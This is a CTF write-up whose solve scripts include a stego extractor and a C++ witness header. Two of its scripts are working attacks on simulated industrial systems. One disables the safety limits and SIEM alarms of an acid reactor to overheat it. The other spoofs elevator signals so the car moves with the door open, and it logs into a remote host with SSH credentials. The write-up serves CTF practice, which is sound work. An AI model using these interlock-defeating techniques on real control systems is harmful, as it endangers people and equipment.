NepCTF 2026 WriteUp（猫娘手写本 · rank 20 · 完整自包含）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

#!/usr/bin/env python3
"""#18 如烟大帝独断万古 — Unicode Variation Selectors stego
Recovered from Claude session RESULT (7ff071d4 / ca4b204e).
novel.txt embeds U+FE00..U+FE0F as nibbles; 120 VS -> 60 bytes -> flag.
"""
from pathlib import Path
import sys

def extract(path: str) -> str:
    text = Path(path).read_text(encoding='utf-8')
    nibbles = [ord(c) - 0xFE00 for c in text if 0xFE00 <= ord(c) <= 0xFE0F]
    if len(nibbles) % 2:
        raise ValueError(f'odd nibble count {len(nibbles)}')
    bs = bytes((nibbles[i] << 4) | nibbles[i+1] for i in range(0, len(nibbles), 2))
    return bs.decode('utf-8', errors='replace')

if __name__ == '__main__':
    path = sys.argv[1] if len(sys.argv) > 1 else 'novel.txt'
    flag = extract(path)
    print(flag)
    Path('flag.txt').write_text(flag + '\n')

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

# #19 compile_me_maybe

Flag: `NepCTF{N0t_th1s_rUNtimE_m4y_be_next_T1me}`

## Process (from agent-a2ce3928 session ca4b204e)
1. Reverse `include/` + `src/main.cpp` constexpr constraints
2. Write correct witness header
3. `make -C /tmp/nepctf/work19 run`
4. Binary prints flag

Session tool_result excerpt:
```
wrote witness header
b'NepCTF{N0t_th1s_rUNtimE_m4y_be_next_T1me}'
make: Entering directory '/tmp/nepctf/work19'
g++ -std=c++17 -O2 ... -o build/compile_me_maybe
./build/compile_me_maybe
NepCTF{N0t_th1s_rUNtimE_m4y_be_next_T1me}
```

Full C++ tree was under `/tmp/nepctf/work19` (wiped). This README is the recovered procedure.

1
2
3
4
5

#pragma once
#include "vm.hpp"
namespace cmc {
using witness = witness_bytes<0xd4U, 0xb8U, 0x82U, 0xdbU, 0x1aU, 0xa7U, 0xe5U, 0xdeU, 0xd4U, 0x32U, 0xdfU, 0xdfU, 0x4cU, 0xdbU, 0x0cU, 0x41U, 0xcfU, 0x6dU, 0x0aU, 0xceU, 0x92U, 0xd4U, 0xe4U, 0x1aU, 0xccU, 0x68U, 0x89U, 0xfeU, 0x6fU, 0xffU, 0x78U, 0x68U, 0x12U, 0x14U, 0x9aU, 0xeaU, 0xd0U, 0x35U, 0xe4U, 0xabU, 0xa2U, 0x9cU, 0xffU, 0x4eU, 0xf3U, 0xf4U, 0x47U, 0x7fU, 0xf9U, 0x58U, 0x86U, 0x71U, 0x47U, 0x44U, 0x33U, 0x97U, 0x93U, 0x72U, 0x27U, 0x5dU, 0x65U, 0x85U, 0x90U, 0xa1U>;
} // namespace cmc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

#include "vm.hpp"
#include "generated_witness.hpp"

extern "C" int putchar(int);

int main() {
    using bytes = typename cmc::program<cmc::witness>::bytes;

    for (cmc::usize index = 0; index < bytes::size; ++index) {
        putchar(bytes::at(index));
    }
    putchar('\n');

    return 0;
}

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421

#!/usr/bin/env python3
"""#23 natural wet-contact overfeed (no Vessel_*/Sensor_* force-ramp).

Hypothesis for SIEM 4006:
  - Fast force-writes of Vessel_Temp/Level trip rate/integrity SIEM
  - Intended path: raise MAX_SAFE_*, open acid wet contacts, let physics cook

Steps:
  1) Raise all safe/high/critical limits BEFORE opening acid
  2) Clear SIEM/latch fields continuously
  3) Keep heartbeat / CMD_Start / agitator
  4) Open acid fully, water off, cooling off, block product drawdown
  5) Optionally boost Acid_Flow / Reaction_Rate inputs (wet contacts)
  6) Do NOT write Vessel_Temp/Level or Sensor_* process values
  7) Hold until VT>90 and VL>100 with SIEM=0 latched=0
"""

import struct
import sys
import time

try:
    import socket
except ImportError:
    try:
        import usocket as socket
    except ImportError:
        socket = None

HW = "/hardware/%s.snapshot"
ZMQ_CMD = {
    "h2so4_controller": ("127.1.0.20", 6301),
    "scada_panel": ("127.1.0.21", 6311),
    "reactor_vessel": ("127.1.0.22", 6321),
    "temperature_sensor": ("127.1.0.26", 6331),
    "level_sensor": ("127.1.0.27", 6341),
    "water_valve": ("127.1.0.23", 6351),
    "acid_valve": ("127.1.0.24", 6361),
    "agitator_drive": ("127.1.0.25", 6371),
}


def pf(v):
    return struct.pack("<f", float(v))


def pi(v):
    return struct.pack("<h", int(v))


def pu(v):
    return bytes([int(v) & 0xFF])


def openw(n):
    return open(HW % n, "r+b")


def put(f, o, d):
    f.seek(o)
    f.write(d)


def getf(n, o):
    with open(HW % n, "rb") as f:
        f.seek(o)
        return struct.unpack("<f", f.read(4))[0]


def getu(n, o):
    with open(HW % n, "rb") as f:
        f.seek(o)
        return f.read(1)[0]


def geti(n, o):
    with open(HW % n, "rb") as f:
        f.seek(o)
        return struct.unpack("<h", f.read(2))[0]


def status(tag):
    vt = getf("reactor_vessel", 24)
    vl = getf("reactor_vessel", 28)
    st = getf("h2so4_controller", 12)
    sl = getf("h2so4_controller", 16)
    siem = getu("h2so4_controller", 56)
    lock = getu("h2so4_controller", 57)
    evt = geti("h2so4_controller", 54)
    af = getf("reactor_vessel", 12)
    acid = getf("acid_valve", 8)
    openv = getu("acid_valve", 14)
    cool = getu("reactor_vessel", 36)
    batch = getu("reactor_vessel", 37)
    draw = getu("reactor_vessel", 64)
    ssiem = getu("scada_panel", 12)
    # last event @ scada+102 (observed latched dump)
    try:
        last = geti("scada_panel", 102)
    except Exception:
        last = -1
    lat = getu("scada_panel", 64)
    print(
        "[%s] VT=%.2f VL=%.2f ST=%.2f SL=%.2f | SIEM=%d lock=%d evt=%d | "
        "sSIEM=%d last=%d lat64=%d | AF=%.1f acid=%.1f open=%d cool=%d batch=%d draw=%d"
        % (tag, vt, vl, st, sl, siem, lock, evt, ssiem, last, lat, af, acid, openv, cool, batch, draw)
    )
    return vt, vl, siem, lock, evt


def clear_siem(fc, fs):
    put(fc, 56, pu(0))
    put(fc, 57, pu(0))
    put(fc, 53, pu(0))
    put(fc, 54, pi(0))
    put(fs, 12, pu(0))
    put(fs, 14, pi(0))
    # best-effort clear latched / last-event area observed in dumps
    for o in (64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 100, 101):
        put(fs, o, pu(0))
    put(fs, 102, pi(0))
    put(fs, 104, pi(0))


def raise_limits(fc, fr, ft, fl, fa):
    put(fc, 100, pf(999.0))  # MAX_SAFE_TEMP
    put(fc, 104, pf(999.0))  # MAX_SAFE_LEVEL
    put(fc, 108, pf(100.0))  # MAX_ACID_VALVE
    put(fc, 112, pf(999.0))
    put(fc, 116, pf(999.0))
    put(fc, 120, pi(60000))
    put(fr, 76, pf(500.0))  # MAX_LEVEL
    put(fr, 84, pf(500.0))  # MAX_TEMP
    put(fr, 80, pf(0.0))
    put(ft, 12, pu(0))  # no inject
    put(ft, 40, pf(999.0))
    put(ft, 44, pf(999.0))
    put(ft, 20, pu(1))
    put(ft, 21, pu(0))
    put(ft, 22, pu(0))
    put(fl, 12, pu(0))
    put(fl, 40, pf(0.0))
    put(fl, 44, pf(999.0))
    put(fl, 48, pf(999.0))
    put(fl, 20, pu(1))
    put(fl, 21, pu(0))
    put(fl, 22, pu(0))
    put(fa, 32, pf(100.0))  # MAX_SAFE_OPENING
    put(fa, 36, pf(1.0))  # FLOW_PER_PERCENT


# optional light ZMQ
def gai(h, p):
    return socket.getaddrinfo(h, p, 0, socket.SOCK_STREAM)[0][-1]


def rex(s, n):
    b = b""
    while len(b) < n:
        c = s.recv(n - len(b))
        if not c:
            raise OSError("closed")
        b += c
    return b


def greet_recv(s):
    return rex(s, 64)


def greet_send(s, stype):
    zg = bytearray(64)
    zg[0] = 0xFF
    zg[9] = 0x7F
    zg[10] = 3
    zg[11] = 0
    zg[12:16] = b"NULL"
    s.send(bytes(zg))
    meta = b"\x0bSocket-Type" + struct.pack("!I", len(stype)) + stype
    body = b"\x05READY" + meta
    s.send(bytes([0x04, len(body)]) + body)


def rframe(s):
    fl = rex(s, 1)[0]
    if fl & 2:
        ln = struct.unpack("!Q", rex(s, 8))[0]
    else:
        ln = rex(s, 1)[0]
    return fl, (rex(s, ln) if ln else b"")


def sframe(s, data, more=False):
    fl = 0x01 if more else 0x00
    if len(data) > 255:
        s.send(bytes([fl | 0x02]) + struct.pack("!Q", len(data)) + data)
    else:
        s.send(bytes([fl, len(data)]) + data)


def smsg(s, parts):
    for i, p in enumerate(parts):
        sframe(s, p, more=(i < len(parts) - 1))


def connect_pub(host, port, timeout=1.5):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    s.connect(gai(host, port))
    greet_recv(s)
    greet_send(s, b"PUB")
    for _ in range(4):
        try:
            fl, data = rframe(s)
            if b"READY" in data:
                break
        except Exception:
            break
    return s


def body_real(inst, field, offset, value, cmd=0):
    if not isinstance(inst, (bytes, bytearray)):
        inst = inst.encode()
    if not isinstance(field, (bytes, bytearray)):
        field = field.encode()
    out = bytearray()
    out += struct.pack("<III", cmd, len(inst), 0) + inst
    out += struct.pack("<II", len(field), 0) + field
    out += struct.pack("<II", offset, 0)
    out += struct.pack("<II", 4, 0)
    out += struct.pack("<f", float(value))
    return bytes(out)


def body_bool(inst, field, offset, value, cmd=1):
    if not isinstance(inst, (bytes, bytearray)):
        inst = inst.encode()
    if not isinstance(field, (bytes, bytearray)):
        field = field.encode()
    out = bytearray()
    out += struct.pack("<III", cmd, len(inst), 0) + inst
    out += struct.pack("<II", len(field), 0) + field
    out += struct.pack("<II", offset, 0)
    out += bytes([0, int(value) & 0xFF])
    return bytes(out)


def pub_real(pub, dev, field, offset, value, cmd=0):
    smsg(pub, [("cmd/%s/" % dev).encode(), body_real(dev + "_instance", field, offset, value, cmd)])


def pub_bool(pub, dev, field, offset, value, cmd=1):
    smsg(pub, [("cmd/%s/" % dev).encode(), body_bool(dev + "_instance", field, offset, value, cmd)])


def open_pubs():
    pubs = {}
    if not socket:
        return pubs
    for n, (ip, cmd) in ZMQ_CMD.items():
        try:
            pubs[n] = connect_pub(ip, cmd, timeout=1.2)
            print("[pub]", n, "ok")
        except Exception as e:
            print("[pub]", n, "FAIL", e)
    return pubs


def main():
    hold = 120.0
    acid_target = 100.0
    use_zmq = True
    args = sys.argv[1:]
    i = 0
    while i < len(args):
        if args[i] == "--hold" and i + 1 < len(args):
            hold = float(args[i + 1])
            i += 2
        elif args[i] == "--acid" and i + 1 < len(args):
            acid_target = float(args[i + 1])
            i += 2
        elif args[i] == "--no-zmq":
            use_zmq = False
            i += 1
        else:
            i += 1

    print("=== pwn_natural hold=%.1f acid=%.1f ===" % (hold, acid_target))
    status("base")

    pubs = open_pubs() if use_zmq else {}

    fc = openw("h2so4_controller")
    fr = openw("reactor_vessel")
    ft = openw("temperature_sensor")
    fl = openw("level_sensor")
    fa = openw("acid_valve")
    fw = openw("water_valve")
    fg = openw("agitator_drive")
    fs = openw("scada_panel")

    # Phase 0: only raise limits + clear SIEM for a while (no process push)
    t_pre = time.time()
    hb = 0
    while time.time() - t_pre < 3.0:
        hb ^= 1
        raise_limits(fc, fr, ft, fl, fa)
        clear_siem(fc, fs)
        put(fc, 24, pu(hb))
        put(fc, 26, pi(99))
        put(fc, 120, pi(60000))
    status("limits_only")

    # Phase 1: start process, ramp acid opening slowly via wet contacts
    t0 = time.time()
    n = 0
    acid = 5.0
    peak = (0.0, 0.0)
    win = 0
    while time.time() - t0 < hold:
        hb ^= 1
        # slow acid ramp over ~20s
        elapsed = time.time() - t0
        if acid < acid_target:
            # ~5%/s
            acid = min(acid_target, 5.0 + elapsed * 5.0)

        raise_limits(fc, fr, ft, fl, fa)
        clear_siem(fc, fs)

        # controller run + heartbeat + high SP (PID may open acid further)
        put(fc, 8, pu(1))
        put(fc, 9, pu(0))
        put(fc, 24, pu(hb))
        put(fc, 26, pi(99))
        put(fc, 28, pf(150.0))  # SetPoint_Temp
        put(fc, 48, pf(acid))  # Valve_Acid cmd
        put(fc, 44, pu(0))  # Valve_Water
        put(fc, 52, pu(1))  # agitator

        # acid valve wet contacts
        put(fa, 8, pf(acid))
        put(fa, 28, pf(acid))
        put(fa, 13, pu(1))  # supply ready
        put(fa, 12, pu(0))  # no fault
        put(fa, 24, pu(0))

        # water closed, agitator on
        put(fw, 8, pu(0))
        put(fw, 10, pu(1))
        put(fg, 8, pu(1))
        put(fg, 12, pf(100.0))

        # reactor: enable heat path, disable drains — DO NOT write Vessel_*
        put(fr, 36, pu(0))  # cooling off
        put(fr, 37, pu(0))  # batch ready off
        put(fr, 64, pu(0))  # product drawdown off
        put(fr, 16, pu(1))  # agitator running
        put(fr, 17, pu(0))
        put(fr, 8, pf(0.0))  # water flow 0
        # feed acid flow proportional to opening (wet contact)
        put(fr, 12, pf(acid * 0.5))
        put(fr, 68, pf(0.0))
        put(fr, 100, pf(0.0))  # no product consume
        put(fr, 92, pf(999.0))  # never ready
        put(fr, 96, pf(0.0))
        # mild reaction boost if writable (constant param)
        put(fr, 32, pf(2.0))
        put(fr, 72, pf(25.0))  # ambient

        if pubs and n % 50 == 0:
            try:
                if "h2so4_controller" in pubs:
                    p = pubs["h2so4_controller"]
                    pub_bool(p, "h2so4_controller", "SIEM_Trigger", 56, 0)
                    pub_bool(p, "h2so4_controller", "Security_Lockout", 57, 0)
                    pub_bool(p, "h2so4_controller", "CMD_Start", 8, 1)
                    pub_bool(p, "h2so4_controller", "CMD_Stop", 9, 0)
                    pub_bool(p, "h2so4_controller", "SCADA_Heartbeat", 24, hb)
                    pub_real(p, "h2so4_controller", "MAX_SAFE_TEMP", 100, 999.0)
                    pub_real(p, "h2so4_controller", "MAX_SAFE_LEVEL", 104, 999.0)
                    pub_real(p, "h2so4_controller", "MAX_ACID_VALVE", 108, 100.0)
                    pub_real(p, "h2so4_controller", "Valve_Acid", 48, acid)
                    pub_real(p, "h2so4_controller", "SetPoint_Temp", 28, 150.0)
                if "acid_valve" in pubs:
                    pub_real(pubs["acid_valve"], "acid_valve", "Valve_AcidCmd", 8, acid)
                    pub_real(pubs["acid_valve"], "acid_valve", "MAX_SAFE_OPENING", 32, 100.0)
                if "water_valve" in pubs:
                    pub_bool(pubs["water_valve"], "water_valve", "Valve_WaterCmd", 8, 0)
                if "agitator_drive" in pubs:
                    pub_bool(pubs["agitator_drive"], "agitator_drive", "Motor_AgitatorCmd", 8, 1)
                if "scada_panel" in pubs:
                    pub_bool(pubs["scada_panel"], "scada_panel", "SIEM_Trigger", 12, 0)
            except Exception:
                pass

        n += 1
        if n % 1500 == 0:
            vt, vl, siem, lock, evt = status("t+%.1f acid=%.1f" % (elapsed, acid))
            if vt > peak[0]:
                peak = (vt, peak[1])
            if vl > peak[1]:
                peak = (peak[0], vl)
            if vt > 90.0 and vl > 100.0 and siem == 0 and lock == 0 and evt == 0:
                win += 1
                print("[+] NATURAL WIN streak=%d — check tui" % win)
            else:
                win = 0

    status("final")
    print("[peak] T=%.2f L=%.2f iters=%d" % (peak[0], peak[1], n))
    for f in (fc, fr, ft, fl, fa, fw, fg, fs):
        try:
            f.close()
        except Exception:
            pass


if __name__ == "__main__":
    main()

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354

#!/usr/bin/env python3
"""#24: (1) legit TUI travel to floor 5 (2) call floor 1 for DOWN (3) open+spoof during travel."""
import paramiko, time, re, sys, threading

HOST = "114.66.24.233"
PORT = 31537
GOT = "/home/catcatyu/nepctf/work/24/repro/got_flag.txt"
LOGF = "/home/catcatyu/nepctf/work/24/repro/live_travel.log"
TUIF = "/home/catcatyu/nepctf/work/24/repro/live_travel_tui.bin"
WAITF = "/home/catcatyu/nepctf/work/24/repro/live_travel_wait.out"

# Spoof only while door open OR while motion already down (blast closed+motor)
SPOOF = r'''
import struct,socket,time
def gai(h,p):
 return socket.getaddrinfo(h,p,0,socket.SOCK_STREAM)[0][-1]
def recv_exact(s,n):
 b=b""
 while len(b)<n:
  c=s.recv(n-len(b))
  if not c: raise OSError("x")
  b+=c
 return b
def zmtp_greet_recv(s): return recv_exact(s,64)
def zmtp_greet_send(s,socktype,identity=None):
 zg=bytearray(64); zg[0]=0xFF; zg[9]=0x7F; zg[10]=3; zg[11]=0; zg[12:16]=b"NULL"; s.send(bytes(zg))
 meta=b"\x0bSocket-Type"+struct.pack("!I",len(socktype))+socktype
 if identity is not None: meta+=b"\x08Identity"+struct.pack("!I",len(identity))+identity
 body=b"\x05READY"+meta; s.send(bytes([0x04,len(body)])+body)
def zmtp_recv_frame(s):
 flags=recv_exact(s,1)[0]
 if flags&0x02: ln=struct.unpack("!Q",recv_exact(s,8))[0]
 else: ln=recv_exact(s,1)[0]
 return flags, (recv_exact(s,ln) if ln else b"")
def zmtp_recv_msg(s):
 parts=[]
 while True:
  f,d=zmtp_recv_frame(s); parts.append(d)
  if not (f&0x01): break
 return parts
def zmtp_send_frame(s,data,more=False):
 flags=0x01 if more else 0x00
 if len(data)>255: s.send(bytes([flags|0x02])+struct.pack("!Q",len(data))+data)
 else: s.send(bytes([flags,len(data)])+data)
def connect_pub(host,port,identity=None):
 s=socket.socket(); s.settimeout(5); s.connect(gai(host,port))
 try: s.setsockopt(socket.IPPROTO_TCP,1,1)
 except: pass
 zmtp_greet_recv(s); zmtp_greet_send(s,b"PUB",identity=identity)
 for _ in range(8):
  f,d=zmtp_recv_frame(s)
  if b"READY" in d: break
 return s
def connect_sub(host,port):
 s=socket.socket(); s.settimeout(5); s.connect(gai(host,port))
 zmtp_greet_recv(s); zmtp_greet_send(s,b"SUB")
 for _ in range(8):
  f,d=zmtp_recv_frame(s)
  if b"READY" in d: break
 zmtp_send_frame(s,b"\x01"); return s
def build_bool(instance, field, value=1):
 if isinstance(instance,str): instance=instance.encode()
 if isinstance(field,str): field=field.encode()
 o=bytearray()
 o+=struct.pack("<I",1)
 o+=struct.pack("<I",len(instance)); o+=struct.pack("<I",0); o+=instance
 o+=struct.pack("<I",len(field)); o+=struct.pack("<I",0); o+=field
 o+=struct.pack("<I",0x1E); o+=struct.pack("<I",0); o+=struct.pack("<H",value&0xFFFF)
 return bytes(o)
def build_array5(instance, field, true_idx, cmd=0, typ=8):
 if isinstance(instance,str): instance=instance.encode()
 if isinstance(field,str): field=field.encode()
 vb=bytearray(struct.pack("<I",5)+bytes(9))
 if 1<=true_idx<=5: vb[4+true_idx-1]=1
 o=bytearray()
 o+=struct.pack("<I",cmd)
 o+=struct.pack("<I",len(instance)); o+=struct.pack("<I",0); o+=instance
 o+=struct.pack("<I",len(field)); o+=struct.pack("<I",0); o+=field
 o+=struct.pack("<I",typ); o+=struct.pack("<I",0); o+=bytes(vb)
 return bytes(o)
def wire(topic, body):
 if isinstance(topic,str): topic=topic.encode()
 return bytes([0x01,len(topic)])+topic+bytes([0x00,len(body)])+body
def is_door_open(db):
  if not db or len(db)<40: return False
  if b"\x64" in db[16:40]: return True
  return db[24]!=1 or db[20]!=0 or db[16]!=0

door=connect_sub("127.1.0.17",6270)
pos=connect_sub("127.1.0.11",6210)
hmi=connect_sub("127.1.0.19",6290)
pubs=[]
for ident in (b"door_operator", b"elevator_controller"):
  pubs.append(connect_pub("127.1.0.11",6211,identity=ident))
  pubs.append(connect_pub("127.1.0.16",6261,identity=ident))
  pubs.append(connect_pub("127.1.0.12",6221,identity=ident))
  pubs.append(connect_pub("127.1.0.17",6271,identity=ident))
  pubs.append(connect_pub("127.1.0.10",6201,identity=ident))
print("spoof loop 120s")
t_end=time.time()+120
n=0; last_pos=None; floors=set()
while time.time()<t_end:
  try:
    door.settimeout(0.08); m=zmtp_recv_msg(door); db=m[-1] if m else None
  except: db=None
  open_now = bool(db and is_door_open(db))
  # always inject car calls 5 and 1 (help travel)
  for idx in (5,1,4,2,3):
    body=build_array5("interaction_button_instance","bRequestCar",idx,cmd=0,typ=8)
    body2=build_array5("elevator_controller_instance","bCarBtn",idx,cmd=0,typ=8)
    for pub in pubs:
      try:
        pub.send(wire("cmd/interaction_button/", body))
        pub.send(wire("cmd/elevator_controller/", body2))
      except: pass
  # door open cmd
  for pub in pubs:
    try:
      pub.send(wire("cmd/door_operator/", build_bool("door_operator_instance","bDoorOpenCmd",1)))
      pub.send(wire("cmd/elevator_controller/", build_bool("elevator_controller_instance","bDoorOpenBtn",1)))
    except: pass
  # if open: spoof closed + motor down (unsafe)
  if open_now:
    blast=[]
    for inst,topic in (
      ("position_status_sensor_instance","cmd/position_status_sensor/"),
      ("vfd_instance","cmd/vfd/"),
      ("vfd_drive_instance","cmd/vfd_drive/"),
      ("door_operator_instance","cmd/door_operator/"),
    ):
      for fld,val in (("bDoorFullyClosed",1),("bDriveEnable",1),("bMotorDown",1),("bMotorUp",0),("bBrakeRelease",1)):
        blast.append(wire(topic, build_bool(inst,fld,val)))
    pkt=b"".join(blast)
    for pub in pubs:
      try: pub.send(pkt)
      except: pass
  try:
    pos.settimeout(0.05); m=zmtp_recv_msg(pos); pb=m[-1] if m else None
    if pb:
      if last_pos is None: last_pos=pb
      elif pb[16:48]!=last_pos[16:48]:
        print("MOVED", last_pos[16:48].hex(), "->", pb[16:48].hex()); last_pos=pb
  except: pass
  try:
    hmi.settimeout(0.05); m=zmtp_recv_msg(hmi); hb=m[-1] if m else None
    if hb and b"NepCTF" in hb:
      print("FLAG", bytes([c if 32<=c<127 else 46 for c in hb])); break
  except: pass
  n+=1
  if n%250==0: print("tick",n,"open",open_now)
print("done",n)
'''


def drain(ch, t=1.0):
    end = time.time() + t
    data = b""
    while time.time() < end:
        try:
            chunk = ch.recv(65535)
            if chunk:
                data += chunk
                end = max(end, time.time() + 0.35)
            else:
                break
        except Exception:
            time.sleep(0.02)
    return data


def mouse_click(row, col):
    return f"\x1b[<0;{col};{row}M\x1b[<32;{col};{row}M"


def connect(user, pw):
    c = paramiko.SSHClient()
    c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    c.connect(HOST, port=PORT, username=user, password=pw, timeout=20,
              allow_agent=False, look_for_keys=False, banner_timeout=25)
    return c


def strip_ansi(b):
    return re.sub(rb"\x1b\[[0-9;?]*[a-zA-Z]|\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)|\x1b.", b" ", b)


def parse_state(plain):
    # last motion/floor/door
    motion = floor = door = None
    for m in re.finditer(r"motion=(\w+)\s+floor=(\d+)", plain):
        motion, floor = m.group(1), int(m.group(2))
        win = plain[m.start():m.start()+300]
        d = re.search(r"(OPENING|OPEN|CLOSING|CLOSED)\s+(\d+)%", win)
        if d:
            door = d.group(0)
    return motion, floor, door


def main():
    log = []
    def pr(*a):
        s = " ".join(str(x) for x in a)
        print(s, flush=True)
        log.append(s)

    open("/home/catcatyu/nepctf/work/24/spoof_travel.py", "w").write(SPOOF)
    c = connect("upload", "upload")
    sftp = c.open_sftp()
    sftp.put("/home/catcatyu/nepctf/work/24/spoof_travel.py", "/files/spoof_travel.py")
    sftp.put("/home/catcatyu/nepctf/work/24/repro/race4.py", "/files/race4.py")
    sftp.close(); c.close()
    pr("uploaded")

    # TUI session first (observe only while driving)
    c2 = connect("tui", "tui")
    ch2 = c2.invoke_shell(term="xterm-256color", width=100, height=40)
    ch2.settimeout(0.3)
    time.sleep(1.5)
    tui = drain(ch2, 2.0)

    def click_floors(targets, open_too=False, rounds=3, delay=0.1):
        # Approximate car panel: floors 1..5 across row 13-15 cols ~7,13,19,25,31
        floor_cols = {1: 7, 2: 13, 3: 19, 4: 25, 5: 31}
        for _ in range(rounds):
            for f in targets:
                col = floor_cols.get(f, 7)
                for row in (13, 14, 15):
                    ch2.send(mouse_click(row, col))
                    time.sleep(delay)
            if open_too:
                for col in range(6, 26, 1):
                    for row in (15, 16, 17):
                        ch2.send(mouse_click(row, col))
                    time.sleep(0.01)
            time.sleep(0.6)

    def snap(label=""):
        nonlocal tui
        tui += drain(ch2, 0.8)
        plain = strip_ansi(tui).decode("utf-8", "replace")
        st = parse_state(plain)
        pr("STATE", label, st)
        return st

    st = snap("boot")

    # Phase 1: go to floor 5 without spoof (pure TUI)
    pr("PHASE1 go floor 5")
    t_end = time.time() + 50
    while time.time() < t_end:
        click_floors([5], open_too=False, rounds=2, delay=0.08)
        # also hall-ish right side
        for row in range(11, 18):
            for col in (62, 66, 70, 74):
                ch2.send(mouse_click(row, col))
                time.sleep(0.02)
        st = snap("p1")
        if st[1] == 5 and st[0] in ("READY", "UP", None):
            # wait until READY at 5
            if st[0] == "READY" or st[1] == 5:
                # if floor is 5, good enough
                if st[1] == 5 and st[0] != "UP":
                    pr("arrived floor 5-ish", st)
                    break
        if st[1] == 5:
            pr("at floor 5 motion", st[0])
            if st[0] == "READY":
                break

    # Phase 2: start spoof + race4 on ctf
    pr("PHASE2 start spoof+race4")
    c1 = connect("ctf", "ctf")
    ch1 = c1.invoke_shell(term="xterm", width=140, height=40)
    ch1.settimeout(0.3)
    time.sleep(0.5)
    drain(ch1, 1)
    ch1.send("micropython /files/spoof_travel.py\n")
    time.sleep(1.2)
    pr("spoof_start", drain(ch1, 1).decode("utf-8", "replace")[-200:])

    # also race4 in parallel channel
    c3 = connect("ctf", "ctf")
    ch3 = c3.invoke_shell(term="xterm", width=140, height=40)
    ch3.settimeout(0.3)
    time.sleep(0.5)
    drain(ch3, 1)
    ch3.send("micropython /files/race4.py\n")
    time.sleep(0.5)

    # Phase 3: call floor 1 + keep open while DOWN
    pr("PHASE3 call floor 1 + open hold")
    t_end = time.time() + 70
    events = []
    prev = None
    while time.time() < t_end:
        click_floors([1, 5], open_too=True, rounds=1, delay=0.05)
        # continuous open band
        for col in range(6, 28):
            ch2.send(mouse_click(16, col))
            ch2.send(mouse_click(15, col))
        tui += drain(ch2, 0.2)
        w = drain(ch1, 0.05) + drain(ch3, 0.05)
        if w:
            open(WAITF, "ab").write(w)
            if b"NepCTF" in w or b"FLAG" in w:
                pr("WAIT_FLAG", w.decode("utf-8", "replace")[-500:])
        plain = strip_ansi(tui).decode("utf-8", "replace")
        # emit new events
        for m in re.finditer(r"motion=(\w+)\s+floor=(\d+)", plain[-8000:]):
            win = plain[m.start():m.start()+300]
            door = re.search(r"(OPENING|OPEN|CLOSING|CLOSED)\s+(\d+)%", win)
            e = (m.group(1), m.group(2), door.group(0) if door else "?")
            if e != prev:
                pr("TUI", e)
                events.append(e)
                prev = e
        if re.search(r"NepCTF\{[^}]+\}", plain):
            break
